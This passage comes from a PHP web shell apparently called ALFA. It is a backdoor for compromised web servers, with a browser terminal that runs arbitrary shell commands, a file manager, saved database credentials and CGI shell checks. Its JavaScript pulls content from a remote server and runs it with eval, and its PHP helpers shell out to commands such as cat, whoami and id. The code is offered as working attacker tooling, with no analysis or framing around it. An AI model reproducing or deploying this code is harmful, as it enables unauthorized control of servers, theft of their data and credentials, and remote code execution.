id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="alfaOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="<?php echo $_SERVER["DOCUMENT_ROOT"]; ?>/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),<?php echo $GLOBALS["need_to_update_header"]; ?>?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
  2394. </script>
  2395. </body>
  2396. </html>
  2397. <?php
  2398. }}
  2399. if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
  2400. function posix_getpwuid($p) {return false;} }
  2401. if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
  2402. function posix_getgrgid($p) {return false;} }
  2403. function alfaWhich($p) {
  2404. $path = alfaEx('which ' . $p,false,false);
  2405. if(!empty($path))
  2406. return strlen($path);
  2407. return false;
  2408. }
  2409. function alfaSize($s) {
  2410. if($s >= 1073741824)
  2411. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  2412. elseif($s >= 1048576)
  2413. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  2414. elseif($s >= 1024)
  2415. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  2416. else
  2417. return $s . ' B';
  2418. }
  2419. function alfaPerms($p) {
  2420. if (($p & 0xC000) == 0xC000)$i = 's​';
  2421. elseif (($p & 0xA000) == 0xA000)$i = 'l​';
  2422. elseif (($p & 0x8000) == 0x8000)$i = '-​';
  2423. elseif (($p & 0x6000) == 0x6000)$i = 'b​';
  2424. elseif (($p & 0x4000) == 0x4000)$i = 'd​';
  2425. elseif (($p & 0x2000) == 0x2000)$i = 'c​';
  2426. elseif (($p & 0x1000) == 0x1000)$i = 'p​';
  2427. else $i = 'u​';
  2428. $i .= (($p & 0x0100) ? 'r​' : '-');
  2429. $i .= (($p & 0x0080) ? 'w​' : '-');
  2430. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's​' : 'x​' ) : (($p & 0x0800) ? 'S​' : '-'));
  2431. $i .= (($p & 0x0020) ? 'r​' : '-');
  2432. $i .= (($p & 0x0010) ? 'w​' : '-');
  2433. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's​' : 'x​' ) : (($p & 0x0400) ? 'S​' : '-'));
  2434. $i .= (($p & 0x0004) ? 'r​' : '-');
  2435. $i .= (($p & 0x0002) ? 'w​' : '-');
  2436. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't​' : 'x​' ) : (($p & 0x0200) ? 'T​' : '-'));
  2437. return $i;
  2438. }
  2439. function alfaPermsColor($f,$isbash=false){
  2440. $class = "";
  2441. $num = "";
  2442. $human = "";
  2443. if($isbash){
  2444. $class = $f["class"];
  2445. $num = $f["num"];
  2446. $human = $f["human"];
  2447. }else{
  2448. $num = substr(sprintf('%o', @fileperms($f)),-4);
  2449. $human = alfaPerms(@fileperms($f));
  2450. if(!@is_readable($f))
  2451. $class = "main_red_perm";
  2452. elseif (!@is_writable($f))
  2453. $class = "main_white_perm";
  2454. else
  2455. $class = "main_green_perm";
  2456. }
  2457. return '<span style="font-weight:unset;" class="'.$class.'">'.$num.'</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="'.$class.'">'.$human.'</span>';
  2458. }
  2459. if(!function_exists("scandir")) {
  2460. function scandir($dir) {
  2461. $dh = opendir($dir);
  2462. while (false !== ($filename = readdir($dh)))
  2463. $files[] = $filename;
  2464. return $files;
  2465. }
  2466. }
  2467. function reArrayFiles($file_post){
  2468. $file_ary = array();
  2469. $file_count = count($file_post['name']);
  2470. $file_keys = array_keys($file_post);
  2471. for ($i=0; $i<$file_count; $i++) {
  2472. foreach ($file_keys as $key) {
  2473. $file_ary[$i][$key] = $file_post[$key][$i];
  2474. }
  2475. }
  2476. return $file_ary;
  2477. }
  2478. function _alfa_can_runCommand($cgi=true,$cache=true){
  2479. if(isset($_COOKIE["alfa_canruncmd"])&&$cache){
  2480. return true;
  2481. }
  2482. if(strlen(alfaEx("whoami",false,$cgi))>0){
  2483. $_COOKIE["alfa_canruncmd"] = true;
  2484. return true;
  2485. }
  2486. return false;
  2487. }
  2488. function _alfa_symlink($target, $link){
  2489. $phpsym = function_exists("symlink");
  2490. if($phpsym){
  2491. @symlink($target, $link);
  2492. }else{
  2493. alfaEx("ln -s '".addslashes($target)."' '".addslashes($link)."'");
  2494. }
  2495. }
  2496. function _alfa_file_exists($file,$cgi=true){
  2497. if(@file_exists($file)){
  2498. return true;
  2499. }else{
  2500. if(strlen(alfaEx("ls -la '".addslashes($file)."'",false,$cgi))>0){
  2501. return true;
  2502. }
  2503. }
  2504. return false;
  2505. }
  2506. function _alfa_file($file,$cgi=true){
  2507. $array = @file($file);
  2508. if(!$array){
  2509. if(strlen(alfaEx("id",false,$cgi))>0){
  2510. $data = alfaEx('cat "'.addslashes($file).'"',false,$cgi);
  2511. if(strlen($data)>0){
  2512. return explode("\n", $data);
  2513. }else{
  2514. return false;
  2515. }
  2516. }else{
  2517. return false;
  2518. }
  2519. }else{
  2520. return $array;
  2521. }
  2522. }
  2523. function _alfa_is_writable($file){
  2524. $check = false;
  2525. $check = @is_writable($file);
  2526. if(!$check){
  2527. if(_alfa_can_runCommand()){
  2528. $check = alfaEx('[ -w "'.trim(addslashes($file)).'" ] && echo "yes" || echo "no"');
  2529. if($check == "yes"){
  2530. $check = true;
  2531. }else{
  2532. $check = false;
  2533. }
  2534. }
  2535. }
  2536. return $check;
  2537. }
  2538. function _alfa_is_dir($dir,$mode="-d"){
  2539. $check = false;
  2540. $check = @is_dir($dir);
  2541. if($mode == "-e"){
  2542. $check = @is_file($dir);
  2543. }
  2544. if(!$check){
  2545. if(_alfa_can_runCommand()){
  2546. $check = alfaEx('[ "'.trim($mode).'" "'.trim(addslashes($dir)).'" ] && echo "yes" || echo "no"');
  2547. if($check == "yes"){
  2548. return true;
  2549. }else{
  2550. return false;
  2551. }
  2552. }
  2553. }
  2554. return $check;
  2555. }
  2556. function _alfa_load_ace_options($base){
  2557. return '<span>Theme: </span><select class="ace-controler ace-theme-selector" base="'.$base.'" onChange="alfaAceChangeSetting(this,\'theme\');"><option value="terminal" selected>terminal</option><option value="ambiance">ambiance</option><option value="chaos">chaos</option><option value="chrome">chrome</option><option value="clouds">clouds</option><option value="clouds_midnight">clouds_midnight</option><option value="cobalt">cobalt</option><option value="crimson_editor">crimson_editor</option><option value="dawn">dawn</option><option value="dracula">dracula</option><option value="dreamweaver">dreamweaver</option><option value="eclipse">eclipse</option><option value="github">github</option><option value="gob">gob</option><option value="gruvbox">gruvbox</option><option value="idle_fingers">idle_fingers</option><option value="iplastic">iplastic</option><option value="katzenmilch">katzenmilch</option><option value="kr_theme">kr_theme</option><option value="kuroir">kuroir</option><option value="merbivore">merbivore</option><option value="merbivore_soft">merbivore_soft</option><option value="mono_industrial">mono_industrial</option><option value="monokai">monokai</option><option value="nord_dark">nord_dark</option><option 